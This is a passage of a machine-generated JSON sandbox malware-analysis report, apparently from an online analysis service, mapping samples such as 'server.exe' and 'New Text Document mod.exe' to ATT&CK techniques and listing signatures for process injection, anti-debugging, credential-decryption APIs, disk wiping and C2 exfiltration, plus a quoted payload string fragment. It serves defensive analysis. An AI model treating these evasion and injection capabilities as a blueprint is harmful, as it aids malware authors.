Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"malicious","value":"Queries firmware table information (may be used to fingerprint/evade)"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Imports network management related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"},{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Impact","technique":"Disk Content Wipe","attack_id":"T1561.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1561/001","identifiers":[{"type":"informative","value":"Contains ability to format disks"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Initial Access","technique":"Drive-by Compromise","attack_id":"T1189","attack_id_wiki":"https://attack.mitre.org/techniques/T1189","identifiers":[{"type":"suspicious","value":"Possible heap spraying attempt detected"}],"sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Windows File and Directory Permissions Modification","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"}],"sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"file/memory contains long string(File: \"elf.exe\")\n file/memory contains long string(File: \"sup.exe\")\n file/memory contains long string(File: \"sys.exe\")\n file/memory contains long string(File: \"Uninstall.exe\")\n file/memory contains long string(File: \"xtest.exe\")\n Found string \"Could not find compression type indicator\" (Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found string \"Switch.System.IO.Compression.DoNotUseNativeZipLibraryForDecompression\" (Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"unknown compression method\" (Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"cooking.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00005036)\n \"TLauncher-Installer-1.9.4.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\_ir_sf_temp_0 (UID: 00000000-00001088)\n \"random.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\$inst\\ (UID: 00000000-00000968)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"RtlCreateUserThread\" (Indicator: \"RtlCreateUserThread\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to decompress content at runtime","description":"Observed function \"System.IO.Compression.ZipFile\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1560.002","relevance":1,"id":"static-116","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load manifest resource from assembly (Dotnet)","description":"Observed namespace \"System.Reflection.Assembly\" and TypeReference \"GetManifestResourceStream\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-173","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to lookup its own filename","description":"PathFindFileNameW@SHLWAPI.DLL at 00000000-00001088-23227-941-00D64D00\n PathFindFileNameW@SHLWAPI.DLL at 00000000-00001088-23227-11487-00D9DB79","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":5,"id":"stream-65","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"!This program cannot be run in DOS mode.Rich}E.text`.rdata@.jdjgPAYLOAD:ExitProcessVirtualAllocKERNEL32.dllAQAPRH1QVeHrPM1JJH1AXAX^YZAXAYAZHXAYZHws2_32ZATIA^PPM1j@AYh}(XAWYhunMaKERNEL32.dllVirtualAllocExitProcess\" (Indicator: \"VirtualAllocEx\"; File: \"tmp.exe\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"New Text Document mod.exe\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"New Text Document mod.exe\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001088.00000000.271453.00E64000.00000002.mdmp\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"New Text Document mod.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00000968.00000000.272733.00428000.00000004.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet code contains potential unpacker","description":"Observed function \"System.Reflection.Load\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1620","relevance":1,"id":"static-115","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file contains function to dynamically call methods at runtime","description":"Observed namespace \"System\" and MemberReference \"GetMethod\" in \"server.exe\"\n Observed namespace \"System\" and MemberReference \"GetMethods\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":1,"id":"static-135","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Dotnet file resource with suspicious entropy","description":"server.exe has big resource with name: \"costura.messagepack.dll\" size: \"377344\" and abnormal entropy:\"6.218626041481177\"\n server.exe has big resource with name: \"costura.system.buffers.dll\" size: \"20856\" and abnormal entropy:\"6.425485073687783\"\n server.exe has big resource with name: \"costura.system.collections.immutable.dll\" size: \"252696\" and abnormal entropy:\"6.178899653923598\"\n server.exe has big resource with name: \"costura.system.memory.dll\" size: \"142240\" and abnormal entropy:\"6.142019016866883\"\n server.exe has big resource with name: \"costura.system.runtime.compilerservices.unsafe.dll\" size: \"19256\" and abnormal entropy:\"6.496150167352114\"\n server.exe has big resource with name: \"costura.system.threading.tasks.extensions.dll\" size: \"25984\" and abnormal entropy:\"6.291520154015514\"\n server.exe has big resource with name: \"costura.pulsar.common.dll\" size: \"170496\" and abnormal entropy:\"6.0286039407450165\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00004944.00000000.271771.009E0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005840.00000000.271906.006B0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005840.00000000.271906.40004000.00000080.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008492.00000000.272126.00770000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00008492.00000000.272126.40004000.00000080.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"cmd.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\Pet.wms\" to \"%TEMP%\\IXP000.TMP\\Pet.wms.bat\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Able to detect if debugger is present","description":"Observed API \"NtQueryInformationProcess\" in \"server.exe\"\n Observed API \"IsDebuggerPresent\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1622","relevance":1,"id":"static-220","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to block user input (API string)","description":"Found reference to API \"BlockInput\" (Indicator: \"BlockInput\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-547","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"New Text Document mod.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"New Text Document mod.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CheckRemoteDebuggerPresent\" (Indicator: \"CheckRemoteDebuggerPresent\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"New Text Document mod.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"New Text Document mod.exe\")\n Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001088-23227-9-00E4114A\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001088-23227-36-00E46E48\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00001088-23227-11416-00E47C28","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \".bss\" is zero\n Raw size of \".text\" is zero\n Raw size of \".rdata\" is zero\n Raw size of \".data\" is zero\n Raw size of \".pdata\" is zero\n Raw size of \"s0\" is zero\n Raw size of \"iqw0\" is zero\n Raw size of \"UPX0\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"New Text Document mod.exe\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"Found reference to API \"BCryptCloseAlgorithmProvider\" (Indicator: \"BCryptCloseAlgorithmProvider\"; File: \"New Text Document mod.exe\")\n Found reference to API \"BCryptOpenAlgorithmProvider\" (Indicator: \"BCryptOpenAlgorithmProvider\"; File: \"New Text Document mod.exe\")\n Found reference to API \"BCryptDestroyKey\" (Indicator: \"BCryptDestroyKey\"; File: \"New Text Document mod.exe\")\n Found reference to API \"BCryptGenerateSymmetricKey\" (Indicator: \"BCryptGenerateSymmetricKey\"; File: \"New Text Document mod.exe\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; File: \"New Text Document mod.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2d","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"x.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"xeno.exe\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"xtest.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform asymmetric crypto operations","description":"Observed namespace \"System.Security.Cryptography.X509Certificates.RSACertificateExtensions\" and TypeReference \"GetRSAPublicKey\" in \"server.exe\"\n Observed namespace \"System.Security.Cryptography.RSASignaturePadding\" and TypeReference \"get_Pkcs1\" in \"server.exe\"\n Observed namespace \"System.Security.Cryptography.RSA\" and TypeReference \"VerifyHash\" in \"server.exe\"","origin":"Static Parser","mitre_attack_id":"T1573.002","relevance":1,"id":"static-141","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform crypto operations","description":"Observed namespace \"System.Security.Cryptography\" in [Source: \"server.exe\"]\n Observed namespace \"System.Security.Cryptography.X509Certificates\" in [Source: \"server.exe\"]","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-118","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; File: \"00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"New Text Document mod.exe\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; File: \"New Text Document mod.exe\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; File: \"New Text Document mod.exe\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004944.00000000.271771.00410000.00000004.mdmp, 00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp\")\n Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; Source: \"00000000-00005036.00000000.270331.59AF9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"file/memory contains long string with (Indicator: \"private key\"; File: \"00000000-00008516.00000000.271658.67A18000.00000080.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00002000.00000000.269103.03650000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00002000.00000001.271022.1C4A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic Related","name":"Imports crypto-related APIs","description":"Observed import api \"CryptUnprotectData\" which can \"perform decryption and does an integrity check of the data\" [Source: HCBSXXl.exe]","origin":"Static Parser","mitre_attack_id":"T1486","relevance":1,"id":"static-82","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: YARA signature match - Cyclic XOR decryption routine for 64-bit samples\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"level":"informative","category":"Cryptographic 